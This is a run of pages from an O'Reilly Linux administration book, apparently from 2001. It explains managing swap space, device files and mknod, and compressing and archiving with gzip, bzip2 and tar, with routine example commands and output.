Of course, swap space cannot completely make up for a lack of physical RAM. Disk access is much slower than RAM access, by several orders of magnitude. Therefore, swap is useful primarily as a means to run a number of programs simultaneously that would not otherwise fit into physical RAM; if you are switching between these programs rapidly you'll notice a lag as pages are swapped to and from disk.

At any rate, Linux supports swap space in two forms: as a separate disk partition or a file somewhere on your existing Linux filesystems. You can have up to 16 swap areas, with each swap area being a disk file or partition up to 128 MB in size (again, these values can differ on non-Intel systems). You math whizzes out there will realize that this allows up to 2 GB of swap space. (If anyone has actually attempted to use this much swap, the authors would love to hear about it, whether you're a math whiz or not.)

Note that using a swap partition can yield better performance, because the disk blocks are guaranteed to be contiguous. In the case of a swap file, however, the disk blocks may be scattered around the filesystem, which can be a serious performance hit in some cases. Many people use a swap file when they must add additional swap space temporarily--for example, if the system is thrashing because of lack of physical RAM and swap. Swap files are a good way to add swap on demand.

Nearly all Linux systems utilize swap space of some kind--usually a single swap partition. In Chapter 3, "Installation and Initial Configuration", we explained how to create a swap partition on your system during the Linux installation procedure. In this section we describe how to add and remove swap files and partitions. If you already have swap space and are happy with it, this section may not be of interest to you.

How much swap space do you have? The free command reports information on system-memory usage:

rutabaga% free
            total       used       free     shared    buffers     cached
Mem:        127888     126744       1144      27640       1884      51988
-/+ buffers:            72872      55016
Swap:       130748      23916     106832
All the numbers here are reported in 1024-byte blocks. Here, we see a system with 127,888 blocks (about 127 MB) of physical RAM, with 126,744 (about 126 MB) currently in use. Note that your system actually has more physical RAM than that given in the "total" column; this number does not include the memory used by the kernel for its own sundry needs.

The "shared" column lists the amount of physical memory shared between multiple processes. Here, we see that about 27 MB of pages are being shared, which means that memory is being utilized well. The "buffers" column shows the amount of memory being used by the kernel buffer cache. The buffer cache (described briefly in the previous section) is used to speed up disk operations, by allowing disk reads and writes to be serviced directly from memory. The buffer cache size will increase or decrease as memory usage on the system changes; this memory is reclaimed if it is needed by applications. Therefore, although we see that 126 MB of system memory is in use, not all (but most) of it is being used by application programs. The "cache" column indicates how many memory pages the kernel has cached for faster access later.

Since the memory used for buffers and cache can easily be reclaimed for use by applications, the second line (-/+ buffers/cache) provides an indication of the memory actually used by applications (the "used" column) or available to applications (the "free" column). The sum of the memory used by buffers and cache reported in the first line is subtracted from the total used memory and added to the total free memory to give the two figures on the second line.

In the third line, we see the total amount of swap, 130,748 blocks (about 128 MB). In this case, only very little of the swap is being used; there is plenty of physical RAM available. If additional applications were started, larger parts of the buffer cache memory would be used to host them. Swap space is generally used as a last resort when the system can't reclaim physical memory in other ways.

Note that the amount of swap reported by free is somewhat less than the total size of your swap partitions and files. This is because several blocks of each swap area must be used to store a map of how each page in the swap area is being utilized. This overhead should be rather small; only a few kilobytes per swap area.

If you're considering creating a swap file, the df command gives you information on the amount of space remaining on your various filesystems. This command prints a list of filesystems, showing each one's size and what percentage is currently occupied.

6.2.1. Creating Swap Space

The first step in adding additional swap is to create a file or partition to host the swap area. If you wish to create an additional swap partition, you can create the partition using the fdisk utility, as described in the section "Section 3.1.3, "Creating Linux Partitions"" in Chapter 3, "Installation and Initial Configuration".

To create a swap file, you'll need to open a file and write bytes to it equaling the amount of swap you wish to add. One easy way to do this is with the dd command. For example, to create an 8-MB swap file, you can use the command:

dd if=/dev/zero of=/swap bs=1024 count=8192
This will write 8192 blocks (8 MB) of data from /dev/zero to the file /swap. (/dev/zero is a special device in which read operations always return null bytes. It's something like the inverse of /dev/null.) After creating a file of this size, it's a good idea to use the sync command to sync the filesystems in case of a system crash.

Once you have created the swap file or partition, you can use the mkswap command to "format" the swap area. As described in the section "Section 3.1.4, "Creating Swap Space"" in Chapter 3, "Installation and Initial Configuration", the format of the mkswap command is:

mkswap -c device size
where device is the name of the swap partition or file, and size is the size of the swap area in blocks (again, one block is equal to one kilobyte). You normally do not need to specify this when creating a swap area, because mkswap can detect the partition size on its own. The -c switch is optional and causes the swap area to be checked for bad blocks as it is formatted.

For example, for the swap file created in the previous example, you would use the command:

mkswap -c /swap 8192
If the swap area is a partition, you would substitute the name of the partition (such as /dev/hda3) and the size of the partition, also in blocks.

After running mkswap on a swap file, use the sync command to ensure the format information has been physically written to the new swap file. Running sync is not necessary when formatting a swap partition.

6.2.2. Enabling the Swap Space

In order for the new swap space to be utilized, you must enable it with the swapon command. For example, after creating the previous swap file and running mkswap and sync, we could use the command:

swapon /swap
This adds the new swap area to the total amount of available swap; use the free command to verify that this is indeed the case. If you are using a new swap partition, you can enable it with a command such as:
swapon /dev/hda3
if /dev/hda3 is the name of the swap partition.

If you are using a swap file (and not a swap partition), you need to change its permissions first, like:

chmod 0600 /swap

Like filesystems, swap areas are automatically enabled at boot time using the swapon -a command from one of the system startup files (usually in /etc/rc.d/rc.sysinit). This command looks in the file /etc/fstab, which, as you'll remember from the section "Section 6.1.2, "Mounting Filesystems"," includes information on filesystems and swap areas. All entries in /etc/fstab with the options field set to sw are enabled by swapon -a.

Therefore, if /etc/fstab contains the entries:

# device     directory    type   options
/dev/hda3    none         swap   sw
/swap        none         swap   sw
then the two swap areas /dev/hda3 and /swap will be enabled at boot time. For each new swap area, you should add an entry to /etc/fstab.

6.2.3. Disabling Swap Space

As is usually the case, undoing a task is easier than doing it. To disable swap space, simply use the command:

swapoff device
where device is the name of the swap partition or file that you wish to disable. For example, to disable swapping on the device /dev/hda3, use the command:
swapoff /dev/hda3

If you wish to disable a swap file, you can simply remove the file, using rm, after using swapoff. Don't remove a swap file before disabling it; this can cause disaster.

If you have disabled a swap partition using swapoff, you are free to reuse that partition as you see fit: remove it using fdisk, or do whatever.

Also, if there is a corresponding entry for the swap area in /etc/fstab, remove it. Otherwise, you'll get errors when you next reboot the system and the swap area can't be found.

Previous | Home | Next
6. Managing Filesystems, Swap, and Devices | Book Index | 6.3. Device Files
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Device Files (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

6.3. Device Files

Device files allow user programs to access hardware devices on the system through the kernel. They are not "files" per se, but look like files from the program's point of view: you can read from them, write to them, mmap() onto them, and so forth. When you access such a device "file," the kernel recognizes the I/O request and passes it a device driver, which performs some operation, such as reading data from a serial port, or sending data to a sound card.

Device files (although inappropriately named, we will continue to use this term) provide a convenient way to access system resources without requiring the applications programmer to know how the underlying device works. Under Linux, as with most Unix systems, device drivers themselves are part of the kernel. In the section "Section 7.4.2, "Building the Kernel"" in Chapter 7, "Upgrading Software and the Kernel", we show you how to build your own kernel, including only those device drivers for the hardware on your system.

Device files are located in the directory /dev on nearly all Unix-like systems. Each device on the system should have a corresponding entry in /dev. For example, /dev/ttyS0 corresponds to the first serial port, known as COM1 under MS-DOS; /dev/hda2 corresponds to the second partition on the first IDE drive. In fact, there should be entries in /dev for devices you do not have. The device files are generally created during system installation and include every possible device driver. They don't necessarily correspond to the actual hardware on your system.

There are a number of pseudo-devices in /dev that don't correspond to any actual peripheral. For example, /dev/null acts as a byte sink; any write request to /dev/null will succeed, but the data written will be ignored. Similarly, we've already demonstrated the use of /dev/zero to create a swap file; any read request on /dev/zero simply returns null bytes.

When using ls -l to list device files in /dev, you'll see something like the following:

brw-rw----   1 root     disk       3,   0 May 19  1994 /dev/hda
 This is /dev/hda, which corresponds to the first IDE drive. First of all, note that the first letter of the permissions field is b, which means this is a block device file. (Recall that normal files have a - in this first column, directories a d, and so on.) Device files are denoted either by b, for block devices, or c, for character devices. A block device is usually a peripheral such as a hard drive: data is read and written to the device as entire blocks (where the block size is determined by the device; it may not be 1024 bytes as we usually call "blocks" under Linux), and the device may be accessed randomly. In contrast, character devices are usually read or written sequentially, and I/O may be done as single bytes. An example of a character device is a serial port.

Also, note that the size field in the ls -l listing is replaced by two numbers, separated by a comma. The first value is the major device number and the second is the minor device number. When a device file is accessed by a program, the kernel receives the I/O request in terms of the major and minor numbers of the device. The major number generally specifies a particular driver within the kernel, and the minor number specifies a particular device handled by that driver. For example, all serial port devices have the same major number, but different minor numbers. The kernel uses the major number to redirect an I/O request to the appropriate driver, and the driver uses the minor number to figure out which specific device to access. In some cases, minor numbers can also be used for accessing specific functions of a device.

The naming convention used by files in /dev is, to put it bluntly, a complete mess. Because the kernel itself doesn't care what filenames are used in /dev (it cares only about the major and minor numbers), the distribution maintainers, applications programmers, and device driver writers are free to choose names for a device file. Often, the person writing a device driver will suggest a name for the device, and later the name will be changed to accommodate other, similar devices. This can cause confusion and inconsistency as the system develops; hopefully, you won't encounter this problem unless you're working with newer device drivers--those that are under testing.

At any rate, the device files included in your original distribution should be accurate for the kernel version and device drivers included with that distribution. When you upgrade your kernel, or add additional device drivers (see the section "Section 7.4, "Building a New Kernel"" in Chapter 7, "Upgrading Software and the Kernel"), you may need to add a device file using the mknod command. The format of this command is:

mknod -m permissions name type major minor
where:

  • name is the full pathname of the device to create, such as /dev/rft0.

  • type is either c for a character device or b for a block device.

  • major is the major number of the device.

  • minor is the minor number of the device.

  • -m permissions is an optional argument that sets the permission bits of the new device file to permissions.

For example, let's say you're adding a new device driver to the kernel, and the documentation says that you need to create the block device /dev/bogus, major number 42, minor number 0. You would use the command:

mknod /dev/bogus b 42 0

Making devices is even easier with the shell script /dev/MAKEDEV that comes with many distributions--you specify only the kind of device you want, and MAKEDEV finds out the major and minor numbers for you.

If you don't specify the -m permissions argument, the new device is given the permissions for a newly created file, modified by your current umask--usually 0644. To set the permissions for /dev/bogus to 0666 instead, we use:

mknod -m 666 /dev/bogus b 42 0
You can also use chmod to set the permissions for a device file after creation.

Why are device permissions important? Like any file, the permissions for a device file control who may access the raw device and how. As we saw in the previous example, the device file for /dev/hda has permissions 0660, which means that only the owner and users in the file's group (here, the group disk is used) may read and write directly to this device. (Permissions are introduced in "Section 4.13, "File Ownership and Permissions"" in Chapter 4, "Basic Unix Commands and Concepts".)

In general, you don't want to give any user direct read and write access to certain devices--especially those devices corresponding to disk drives and partitions. Otherwise, anyone could, say, run mkfs on a drive partition and completely destroy all data on the system.

In the case of drives and partitions, write access is required to corrupt data in this way, but read access is a also breach of security; given read access to a raw device file corresponding to a disk partition, a user could peek in on other user's files. Likewise, the device file /dev/mem corresponds to the system's physical memory (it's generally used only for extreme debugging purposes). Given read access, clever users could spy on other users' passwords, including the one belonging to root, as they are entered at login time.

Be sure that the permissions for any device you add to the system correspond to how the device can and should be accessed by users. Devices such as serial ports, sound cards, and virtual consoles are generally safe for mortals to have access to, but most other devices on the system should be limited to use by root (and programs running setuid as root).

Many files found in /dev are actually symbolic links (created using ln -s, in the usual way) to another device file. These links make it easier to access certain devices by using a more common name. For example, if you have a serial mouse, that mouse might be accessed through one of the device files /dev/ttyS0, /dev/ttyS1, /dev/ttyS2, or /dev/ttyS3, depending on which serial port the mouse is attached to. Many people create a link named /dev/mouse to the appropriate serial device, as in:

ln -s /dev/ttyS2 /dev/mouse
In this way, we can access the mouse from /dev/mouse, instead of having to remember which serial port it is on. This convention is also used for devices such as /dev/cdrom and /dev/modem. These files are usually symbolic links to a device file in /dev corresponding to the actual CD-ROM or modem device.

To remove a device file, just use rm, as in:

rm /dev/bogus
Removing a device file does not remove the corresponding device driver from memory or from the kernel; it simply leaves you with no means to talk to a particular device driver. Similarly, adding a device file does not add a device driver to the system; in fact, you can add device files for drivers that don't even exist. Device files simply provide a "hook" into a particular device driver should such a driver exist in the kernel.

Previous | Home | Next
6.2. Managing Swap Space | Book Index | 7. Upgrading Software and the Kernel
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Upgrading Software and the Kernel (Running Linux)

 Running LinuxSearch this book
Previous Next

Chapter 7. Upgrading Software and the Kernel

Contents:

Archive and Compression Utilities
Upgrading Software
Using RPM
Building a New Kernel
Loadable Device Drivers
Loading Modules Automatically

In this chapter, we'll show you how to upgrade software on your system, including rebuilding and installing a new operating system kernel. Although most Linux distributions provide some automated means to install, remove, and upgrade specific software packages on your system, it is often necessary to install software by hand. The kernel is the operating system itself. It is a set of routines and data that is loaded by the system at boot time and controls everything on the system: software access to hardware devices, scheduling of user processes, memory management, and more. Building your own kernel is often beneficial, as you can select which features you want included in the operating system.

Installing and upgrading free software is usually more complicated than installing commercial products. Even when you have precompiled binaries available, you may have to uncompress them and unpack them from an archive file. You may also have to create symbolic links or set environment variables so that the binaries know where to look for the resources they use. In other cases, you'll need to compile the software yourself from sources.

Another common Linux activity is building the kernel. This is an important task for several reasons. First of all, you may find yourself in a position where you need to upgrade your current kernel to a newer version, to pick up new features or hardware support. Secondly building the kernel yourself allows you to select which features you do (and do not) want included in the compiled kernel.

Why is the ability to select features a win for you? All kernel code and data is "locked down" in memory; that is, it cannot be swapped out to disk. For example, if you use a kernel image with drivers for hardware you do not have or use, the memory consumed by those hardware drivers cannot be reclaimed for use by user applications. Customizing the kernel allows you to trim it down for your needs.

7.1. Archive and Compression Utilities

When installing or upgrading software on Unix systems, the first things you need to be familiar with are the tools used for compressing and archiving files. There are dozens of such utilities available. Some of these (such as tar and compress) date back to the earliest days of Unix; others (such as gzip) are relative newcomers. The main goal of these utilities is to archive files (that is, to pack many files together into a single file for easy transportation or backup) and to compress files (to reduce the amount of disk space required to store a particular file or set of files).

In this section, we're going to discuss the most common file formats and utilities you're likely to run into. For instance, a near-universal convention in the Unix world is to transport files or software as a tar archive, compressed using compress or gzip. In order to create or unpack these files yourself, you'll need to know the tools of the trade. The tools are most often used when installing new software or creating backups--the subject of the following two sections in this chapter.

7.1.1. Using gzip and bzip2

gzip is a fast and efficient compression program distributed by the GNU project. The basic function of gzip is to take a file, compress it, save the compressed version as filename.gz, and remove the original, uncompressed file. The original file is removed only if gzip is successful; it is very difficult to accidentally delete a file in this manner. Of course, being GNU software, gzip has more options than you want to think about, and many aspects of its behavior can be modified using command-line options.

First, let's say that we have a large file named garbage.txt:

rutabaga% ls -l garbage.txt
-rw-r--r--   1 mdw      hack       312996 Nov 17 21:44 garbage.txt
To compress this file using gzip, we simply use the command:
gzip garbage.txt
This replaces garbage.txt with the compressed file garbage.txt.gz. What we end up with is the following:
rutabaga% gzip garbage.txt
rutabaga% ls -l garbage.txt.gz
-rw-r--r--   1 mdw      hack       103441 Nov 17 21:44 garbage.txt.gz
Note that garbage.txt is removed when gzip completes.

You can give gzip a list of filenames; it compresses each file in the list, storing each with a .gz extension. (Unlike the zip program for Unix and MS-DOS systems, gzip will not, by default, compress several files into a single .gz archive. That's what tar is for; see the next section.)

How efficiently a file is compressed depends upon its format and contents. For example, many graphics file formats (such as GIF and JPEG) are already well compressed, and gzip will have little or no effect upon such files. Files that compress well usually include plain-text files, and binary files such as executables and libraries. You can get information on a gzipped file using gzip -l. For example:

rutabaga% gzip -l garbage.txt.gz
compressed  uncompr. ratio uncompressed_name
   103115    312996  67.0% garbage.txt

To get our original file back from the compressed version, we use gunzip, as in:

gunzip garbage.txt.gz
After doing this, we get:
rutabaga% gunzip garbage.txt.gz
rutabaga% ls -l garbage.txt
-rw-r--r--   1 mdw      hack       312996 Nov 17 21:44 garbage.txt
which is identical to the original file. Note that when you gunzip a file, the compressed version is removed once the uncompression is complete.

gzip stores the name of the original, uncompressed file in the compressed version. This way, if the compressed filename (including the .gz extension) is too long for the filesystem type (say, you're compressing a file on an MS-DOS filesystem with 8.3 filenames), the original filename can be restored using gunzip even if the compressed file had a truncated name. To uncompress a file to its original filename, use the -N option with gunzip. To see the value of this option, consider the following sequence of commands:

rutabaga% gzip garbage.txt
rutabaga% mv garbage.txt.gz rubbish.txt.gz
If we were to gunzip rubbish.txt.gz at this point, the uncompressed file would be named rubbish.txt, after the new (compressed) filename. However, with the -N option, we get:
rutabaga% gunzip -N rubbish.txt.gz
rutabaga% ls -l garbage.txt
-rw-r--r--   1 mdw      hack       312996 Nov 17 21:44 garbage.txt

gzip and gunzip can also compress or uncompress data from standard input and output. If gzip is given no filenames to compress, it attempts to compress data read from standard input. Likewise, if you use the -c option with gunzip, it writes uncompressed data to standard output. For example, you could pipe the output of a command to gzip to compress the output stream and save it to a file in one step, as in:

rutabaga% ls -laR $HOME | gzip > filelist.gz
This will produce a recursive directory listing of your home directory and save it in the compressed file filelist.gz. You can display the contents of this file with the command:
rutabaga% gunzip -c filelist.gz | more
This will uncompress filelist.gz and pipe the output to the more command. When you use gunzip -c, the file on disk remains compressed.

The zcat command is identical to gunzip -c. You can think of this as a version of cat for compressed files. Linux even has a version of the pager less for compressed files, called zless.

When compressing files, you can use one of the options -1, -2, through -9 to specify the speed and quality of the compression used. -1 (also --fast) specifies the fastest method, which compresses the files less compactly, while -9 (also --best) uses the slowest, but best compression method. If you don't specify one of these options the default is -6. None of these options has any bearing on how you use gunzip; gunzip will be able to uncompress the file no matter what speed option you use.

gzip is relatively new in the Unix world. The compression programs used on most Unix systems are compress and uncompress, which were included in the original Berkeley versions of Unix. compress and uncompress are very much like gzip and gunzip, respectively; compress saves compressed files as filename.Z as opposed to filename.gz, and uses a slightly less efficient compression algorithm.

However, the free software community has been moving to gzip for several reasons. First of all, gzip works better. Second there has been a patent dispute over the compression algorithm used by compress--the results of which could prevent third parties from implementing the compress algorithm on their own. Because of this, the Free Software Foundation urged a move to gzip, which at least the Linux community has embraced. gzip has been ported to many architectures, and many others are following suit. Happily, gunzip is able to uncompress the .Z format files produced by compress.

Another compression/decompression program has also emerged to take the lead from gzip. bzip2 is the new kid on the block and sports even better compression (on the average about 10-20 percent better than gzip), at the expense of longer compression times. You cannot use bunzip2 to uncompress files compressed with gzip and vice versa, and since you cannot expect everybody to have bunzip2 installed on their machine, you might want to confine yourself to gzip for the time being if you want to send the compressed file to somebody else. However, it pays to have bzip2 installed, because more and more FTP servers now provide bzip2-compressed packages in order to conserve disk space and bandwidth. You can recognize bzip2-compressed files from their typical .bz2 file name extension.

While the command-line options of bzip2 are not exactly the same as those of gzip, those that have been described in this section are. For more information, see the bzip2 manual page.

The bottom line is that you should use gzip/gunzip or bzip2/bunzip2 for your compression needs. If you encounter a file with the extension .Z, it was probably produced by compress, and gunzip can uncompress it for you.

Earlier versions of gzip used .z (lowercase) instead of .gz as the compressed-filename extension. Because of the potential confusion with .Z, this was changed. At any rate, gunzip retains backwards-compatibility with a number of filename extensions and file types.

7.1.2. Using tar

tar is a general-purpose archiving utility capable of packing many files into a single archive file, retaining information, such as file permissions and ownership. The name tar stands for tape archive, because the tool was originally used to archive files as backups on tape. However, use of tar is not at all restricted to making tape backups, as we'll see.

The format of the tar command is:

tar functionoptions files…
where function is a single letter indicating the operation to perform, options is a list of (single-letter) options to that function, and files is the list of files to pack or unpack in an archive. (Note that function is not separated from options by any space.)

function can be one of:

c

To create a new archive

x

To extract files from an archive

t

To list the contents of an archive

r

To append files to the end of an archive

u

To update files that are newer than those in the archive

d

To compare files in the archive to those in the filesystem

You'll rarely use most of these functions; the more commonly used are c, x, and t.

The most common options are:

v

To print verbose information when packing or unpacking archives

k

To keep any existing files when extracting--that is, to not overwrite any existing files which are contained within the tar file

f filename

To specify that the tar file to be read or written is filename

z

To specify that the data to be written to the tar file should be compressed or that the data in the tar file is compressed with gzip

v

To make tar show the files it is archiving or restoring--it is good practice to use this so that you can see what actually happens (unless, of course, you are writing shell scripts)

There are others, which we will cover later in this section.

Although the tar syntax might appear complex at first, in practice it's quite simple. For example, say we have a directory named mt, containing these files:

rutabaga% ls -l mt
total 37
-rw-r--r--   1 root     root           24 Sep 21  1993 Makefile
-rw-r--r--   1 root     root          847 Sep 21  1993 README
-rwxr-xr-x   1 root     root         9220 Nov 16 19:03 mt
-rw-r--r--   1 root     root         2775 Aug  7  1993 mt.1
-rw-r--r--   1 root     root         6421 Aug  7  1993 mt.c
-rw-r--r--   1 root     root         3948 Nov 16 19:02 mt.o
-rw-r--r--   1 root     root        11204 Sep  5  1993 st_info.txt
 We wish to pack the contents of this directory into a single tar archive. To do this, we use the command:
tar cf mt.tar mt
The first argument to tar is the function (here, c, for create) followed by any options. Here, we use the one option f mt.tar, to specify that the resulting tar archive be named mt.tar. The last argument is the name of the file or files to archive; in this case, we give the name of a directory, so tar packs all files in that directory into the archive.

Note that the first argument to tar must be a function letter followed by a list of options. Because of this, there's no reason to use a hyphen (-) to precede the options as many Unix commands require. tar allows you to use a hyphen, as in:

tar -cf mt.tar mt
but it's really not necessary. In some versions of tar, the first letter must be the function, as in c, t, or x. In other versions, the order of letters does not matter.

The function letters as described here follow the so-called "old option style." There is also a newer "short option style" where you precede the function options with a hyphen, and a "long option style," where you use long option names with two hyphens. See the Info page for tar for more details if you are interested.

It is often a good idea to use the v option with tar; this lists each file as it is archived. For example:

rutabaga% tar cvf mt.tar mt
mt/
mt/st_info.txt
mt/README
mt/mt.1
mt/Makefile
mt/mt.c
mt/mt.o
mt/mt
If you use v multiple times, additional information will be printed, as in:
rutabaga% tar cvvf mt.tar mt
drwxr-xr-x root/root         0 Nov 16 19:03 1994 mt/
-rw-r--r-- root/root     11204 Sep  5 13:10 1993 mt/st_info.txt
-rw-r--r-- root/root       847 Sep 21 16:37 1993 mt/README
-rw-r--r-- root/root      2775 Aug  7 09:50 1993 mt/mt.1
-rw-r--r-- root/root        24 Sep 21 16:03 1993 mt/Makefile
-rw-r--r-- root/root      6421 Aug  7 09:50 1993 mt/mt.c
-rw-r--r-- root/root      3948 Nov 16 19:02 1994 mt/mt.o
-rwxr-xr-x root/root      9220 Nov 16 19:03 1994 mt/mt
This is especially useful as it lets you verify that tar is doing the right thing.

In some versions of tar, f must be the last letter in the list of options. This is because tar expects the f option to be followed by a filename--the name of the tar file to read from or write to. If you don't specify f filename at all, tar assumes for historical reasons that it should use the device /dev/rmt0 (that is, the first tape drive). In the section "Section 8.1, "Making Backups"," in Chapter 8, "Other Administrative Tasks", we'll talk about using tar in conjunction with a tape drive to make backups.

Now, we can give the file mt.tar to other people, and they can extract it on their own system. To do this, they would use the command:

tar xvf mt.tar
This creates the subdirectory mt and places all the original files into it, with the same permissions as found on the original system. The new files will be owned by the user running the tar xvf (you) unless you are running as root, in which case the original owner is preserved. The x option stands for "extract." The v option is used again here to list each file as it is extracted. This produces:
courgette% tar xvf mt.tar
mt/
mt/st_info.txt
mt/README
mt/mt.1
mt/Makefile
mt/mt.c
mt/mt.o
mt/mt

We can see that tar saves the pathname of each file relative to the location where the tar file was originally created. That is, when we created the archive using tar cf mt.tar mt, the only input filename we specified was mt, the name of the directory containing the files. Therefore, tar stores the directory itself and all of the files below that directory in the tar file. When we extract the tar file, the directory mt is created and the files placed into it, which is the exact inverse of what was done to create the archive.

By default, tar extracts all tar files relative to the current directory where you execute tar. For example, if you were to pack up the contents of your /bin directory with the command:

tar cvf bin.tar /bin
tar would give the warning:
tar: Removing leading / from absolute path names in the archive.
What this means is that the files are stored in the archive within the subdirectory bin. When this tar file is extracted, the directory bin is created in the working directory of tar--not as /bin on the system where the extraction is being done. This is very important and is meant to prevent terrible mistakes when extracting tar files. Otherwise, extracting a tar file packed as, say, /bin, would trash the contents of your /bin directory when you extracted it. If you really wanted to extract such a tar file into /bin, you would extract it from the root directory, /. You can override this behavior using the P option when packing tar files, but it's not recommended you do so.

Another way to create the tar file mt.tar would have been to cd into the mt directory itself, and use a command such as:

tar cvf mt.tar *
This way the mt subdirectory would not be stored in the tar file; when extracted, the files would be placed directly in your current working directory. One fine point of tar etiquette is to always pack tar files so that they contain a subdirectory, as we did in the first example with tar cvf mt.tar mt. Therefore, when the archive is extracted, the subdirectory is also created and any files placed there. This way you can ensure that the files won't be placed directly in your current working directory; they will be tucked out of the way and prevent confusion. This also saves the person doing the extraction the trouble of having to create a separate directory (should they wish to do so) to unpack the tar file. Of course, there are plenty of situations where you wouldn't want to do this. So much for etiquette.

When creating archives, you can, of course, give tar a list of files or directories to pack into the archive. In the first example, we have given tar the single directory mt, but in the previous paragraph we used the wildcard *, which the shell expands into the list of filenames in the current directory.

Before extracting a tar file, it's usually a good idea to take a look at its table of contents to determine how it was packed. This way you can determine whether you do need to create a subdirectory yourself where you can unpack the archive. A command such as:

tar tvf tarfile
lists the table of contents for the named tarfile. Note that when using the t function, only one v is required to get the long file listing, as in this example:
courgette% tar tvf mt.tar
drwxr-xr-x root/root         0 Nov 16 19:03 1994 mt/
-rw-r--r-- root/root     11204 Sep  5 13:10 1993 mt/st_info.txt
-rw-r--r-- root/root       847 Sep 21 16:37 1993 mt/README
-rw-r--r-- root/root      2775 Aug  7 09:50 1993 mt/mt.1
-rw-r--r-- root/root        24 Sep 21 16:03 1993 mt/Makefile
-rw-r--r-- root/root      6421 Aug  7 09:50 1993 mt/mt.c
-rw-r--r-- root/root      3948 Nov 16 19:02 1994 mt/mt.o
-rwxr-xr-x root/root      9220 Nov 16 19:03 1994 mt/mt
No extraction is being done here; we're just displaying the archive's table of contents. We can see from the filenames that this file was packed with all files in the subdirectory mt, so that when we extract the tar file, the directory mt will be created, and the files placed there.

You can also extract individual files from a tar archive. To do this, use the command:

tar xvf tarfile files
where files is the list of files to extract. As we've seen, if you don't specify any files, tar extracts the entire archive.

When specifying individual files to extract, you must give the full pathname as it is stored in the tar file. For example, if we wanted to grab just the file mt.c from the previous archive mt.tar, we'd use the command:

tar xvf mt.tar mt/mt.c
This would create the subdirectory mt and place the file mt.c within it.

tar has many more options than those mentioned here. These are the features that you're likely to use most of the time, but GNU tar, in particular, has extensions that make it ideal for creating backups and the like. See the tar manual page and the following section for more information.

7.1.3. Using tar with gzip

tar does not compress the data stored in its archives in any way. If you are creating a tar file from three 200K files, you'll end up with an archive of about 600K. It is common practice to compress tar archives with gzip (or the older compress program). You could create a gzipped tar file using the commands:

tar cvf tarfile files…
gzip -9 tarfile
But that's so cumbersome, and requires you to have enough space to store the uncompressed tar file before you gzip it.

A much trickier way to accomplish the same task is to use an interesting feature of tar that allows you to write an archive to standard output. If you specify - as the tar file to read or write, the data will be read from or written to standard input or output. For example, we can create a gzipped tar file using the command:

tar cvf - files… | gzip -9 > tarfile.tar.gz
Here, tar creates an archive from the named files and writes it to standard output; next, gzip reads the data from standard input, compresses it, and writes the result to its own standard output; finally, we redirect the gzipped tar file to tarfile.tar.gz.

We could extract such a tar file using the command:

gunzip -9c tarfile.tar.gz | tar xvf -
 gunzip uncompresses the named archive file, writes the result to standard output, which is read by tar on standard input and extracted. Isn't Unix fun?

Of course, both of these commands are rather cumbersome to type. Luckily, the GNU version of tar provides the z option which automatically creates or extracts gzipped archives. (We saved the discussion of this option until now, so you'd truly appreciate its convenience.) For example, we could use the commands:

tar cvzf tarfile.tar.gz files…
and:
tar xvzf tarfile.tar.gz
to create and extract gzipped tar files. Note that you should name the files created in this way with the .tar.gz filename extensions (or the equally often used .tgz, which also works on systems with limited filename capabilities), to make their format obvious. The z option works just as well with other tar functions such as t.

Only the GNU version of tar supports the z option; if you are using tar on another Unix system, you may have to use one of the longer commands to accomplish the same tasks. Nearly all Linux systems use GNU tar.

When you want to use tar in conjunction with bzip2, you need to tell tar about your compression program preferences like this:

tar cvf tarfile.tar.bz2 --use-compress-program=bzip2 files...

or, shorter:

tar cvf tarfile.tar.bz2 --use=bzip2 files...

or, shorter still:

tar cvIf tarfile.tar.bz2 files

The latter version only works with newer versions of GNU tar that supports the I option.

Keeping this in mind, you could write short shell scripts or aliases to handle cookbook tar file creation and extraction for you. Under bash, you could include the following functions in your .bashrc:

tarc () { tar czvf $1.tar.gz $1 }
tarx () { tar xzvf $1 }
tart () { tar tzvf $1 }
With these functions, to create a gzipped tar file from a single directory, you could use the command:
tarc directory
The resulting archive file would be named directory.tar.gz. (Be sure that there's no trailing slash on the directory name; otherwise the archive will be created as .tar.gz within the given directory.) To list the table of contents of a gzipped tar file, just use:
tart file.tar.gz
Or, to extract such an archive, use:
tarx file.tar.gz

7.1.4. tar Tricks

Because tar saves the ownership and permissions of files in the archive and retains the full directory structure, as well as symbolic and hard links, using tar is an excellent way to copy or move an entire directory tree from one place to another on the same system (or even between different systems, as we'll see). Using the - syntax described earlier, you can write a tar file to standard output, which is read and extracted on standard input elsewhere.

For example, say that we have a directory containing two subdirectories: from-stuff and to-stuff. from-stuff contains an entire tree of files, symbolic links, and so forth--something that is difficult to mirror precisely using a recursive cp. In order to mirror the entire tree beneath from-stuff to to-stuff, we could use the commands:

cd from-stuff
tar cf - . | (cd ../to-stuff; tar xvf -)
Simple and elegant, right? We start in the directory from-stuff and create a tar file of the current directory, which is written to standard output. This archive is read by a subshell (the commands contained within parentheses); the subshell does a cd to the target directory, ../to-stuff (relative to from-stuff, that is), and then runs tar xvf, reading from standard input. No tar file is ever written to disk; the data is sent entirely via pipe from one tar process to another. The second tar process has the v option that prints each file as it's extracted; in this way, we can verify that the command is working as expected.

In fact, you could transfer directory trees from one machine to another (via the network) using this trick; just include an appropriate rsh command within the subshell on the right side of the pipe. The remote shell would execute tar to read the archive on its standard input. (Actually, GNU tar has facilities to read or write tar files automatically from other machines over the network; see the tar manual page for details.)

Previous | Home | Next
6.3. Device Files | Book Index | 7.2. Upgrading Software
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Upgrading Software (Running Linux)

 Running LinuxSearch this book
Previous Next

7.2. Upgrading Software

Linux is a fast-moving target. Because of the cooperative nature of the project, new software is always becoming available, and programs are constantly being updated with newer versions. This is especially true of the Linux kernel, which has many groups of people working on it. During the development process, it's not uncommon for a new kernel patch to be released on a nightly basis. While other parts of the system may not be as dynamic, the same principles apply.

With this constant development, how can you possibly hope to stay on top of the most recent versions of your system software? The short answer is, you can't. While there are people out there who have a need to stay current with, say, the nightly kernel patch release, for the most part, there's no reason to bother upgrading your software this often. In this section, we're going to talk about why and when to upgrade and show you how to upgrade several important parts of the system.

